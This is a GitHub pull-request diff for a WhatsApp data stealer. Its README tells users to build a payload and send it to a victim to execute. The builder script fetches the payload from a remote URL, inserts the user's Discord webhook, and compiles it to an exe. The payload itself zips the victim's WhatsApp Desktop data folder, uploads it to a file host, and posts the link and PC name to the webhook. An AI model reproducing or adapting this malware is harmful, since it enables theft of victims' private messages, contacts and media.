Skip to content
This repository has been archived by the owner on Jun 10, 2024. It is now read-only.

title eee #4

Open
wants to merge 19 commits into
base: master
Choose a base branch
from
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -23,8 +23,8 @@ This program steal the victim's WhatsApp data such as profile pictures of conver
## How to use 📖

* Download this repository
* Make sure you have python and the requirements installed (pip install -r requirements.txt)
* Start main.py
* Make sure you have python installed
* Start builder.cmd
* Create a payload (the program will ask you if you wanna compile the payload)
* Send the payload to your victim and make it execute it
* Don't forget this is a POC and that this shouldn't be used for malicious purposes, i'm not responsible for your actions
Expand Down
9 changes: 9 additions & 0 deletions builder.cmd
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
@echo off & cls
title Whatsapp Stealer Builder
color 6

py -m pip install --upgrade requests pystyle colorama
py -m main

pause
exit
17 changes: 11 additions & 6 deletions main.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,6 @@
from colorama import Fore
import time
import os
import shutil
import ctypes
import requests

Expand All @@ -22,20 +21,26 @@
def _exit():
print("\n")
Write.Print(f" .$ Exiting program | Please star the repo my g", Colors.yellow_to_red, interval=0.05)
print("\n")
time.sleep(3)
quit()

def _compile():
print("\n")
line = f'pyinstaller --onefile whatsapp.pyw'
icox = Write.Input(" .$ Enter icon path (type N for none) -> ", Colors.green_to_blue, interval=0.025)
if icox != "N":
if icox != "N" or "n":
line += f"--icon={icox}"

Write.Print(f" .$ Compiling to exe ...", Colors.green_to_yellow, interval=0.05)
os.system('echo off')
print(Fore.BLACK)
os.system("py -m pip uninstall pathlib")
os.system(line)
os.system("del /F /Q whatsapp.spec")
os.system("rmdir /Q /S __pycache__")
os.system("rmdir /Q /S build")
os.system("start %SystemRoot%\explorer.exe dist")
#os.system('cls')
print(Colorate.Horizontal(Colors.rainbow, " .$ Successfuly Compiled", 1))
_exit()
Expand All @@ -51,15 +56,15 @@ def main():
Write.Print(f" .$ Fetching payload ...", Colors.green_to_yellow, interval=0.05)
payload = requests.get("https://raw.githubusercontent.com/xpierroz/whatsappstealer/master/payload.py").text

with open("whatsapp.pyw", "w") as f:
with open("whatsapp.pyw", "w", encoding='utf-8') as f:
f.write(payload.replace('WEBHOOK = "xpierroz on top"', f'WEBHOOK = "{wbh_url}"'))

Write.Print(f"\n .$ Payload fetched !", Colors.green_to_cyan, interval=0.05)
compiling = Write.Input("\n .$ Compile to exe [Y/N] -> ", Colors.green_to_blue, interval=0.025)
if compiling == "Y":
if compiling == "Y" or "y":
_compile()
else:
os.system("rmdir /Q /S __pycache__")
_exit()


main()
main()
65 changes: 33 additions & 32 deletions payload.py
Original file line number Diff line number Diff line change
@@ -1,17 +1,13 @@
import dhooks
import os
import requests
import time
import socket
import shutil
import os, requests, time, socket, shutil

# PSG > OM

WEBHOOK = "xpierroz on top"

temp = os.environ.get('TMP') or os.environ.get('TEMP')
direct = f"{os.getenv('LOCALAPPDATA')}\\Packages\\5319275A.WhatsAppDesktop_cv1g1gvanyjgm"
print(direct)

def uploadToGofile(path):
def upload(path):
for x in range(10):
try:
rr = requests.post(
Expand All @@ -25,27 +21,32 @@ def uploadToGofile(path):
time.sleep(2)
return False

try:
shutil.make_archive("ssouput", "zip", direct)
except Exception:
pass

m = uploadToGofile(f"{os.getcwd()}\\ssouput.zip")
os.remove(f"{os.getcwd()}\\ssouput.zip")

message = f"**XPierroz WhatsApp Stealer Report**\n\n"
message += f"📌 Pc: {socket.gethostname()}\n"
message += f"🔍 Url: {m}"

embed = dhooks.Embed(
title="🔔 Grab Alert",
description=message,
color=0xFF5733
)

webhook = dhooks.Webhook(
url=WEBHOOK,
username="XPierroz WhatsApp Stealer",
avatar_url="https://github.com/xpierroz/WhatsappStealer/blob/master/assets/whatsapp.png?raw=true"
)
webhook.send(embed=embed)
def l_om_est_eclate():
try:
shutil.make_archive(os.path.join(temp, "ssouput"), "zip", direct)
except Exception:
pass

m = upload(f"{temp}\\ssouput.zip")
os.remove(f"{temp}\\ssouput.zip")

embed = {
"title": "**XPierroz WhatsApp Stealer Report**",
"description": f"🖥️ Pc Name: {socket.gethostname()}\n📎 Url: {m}",
"color": 0x008000
}

payload = {
"content": "🔔 Grab Alert ||@everyone||",
"username": "XPierroz WhatsApp Stealer",
"avatar_url": "https://github.com/xpierroz/WhatsappStealer/blob/master/assets/whatsapp.png?raw=true",
"embeds": [embed]
}

headers = {
"Content-Type": "application/json"
}

requests.post(WEBHOOK, json=payload, headers=headers)

l_om_est_eclate()
12 changes: 0 additions & 12 deletions requirements.txt

This file was deleted.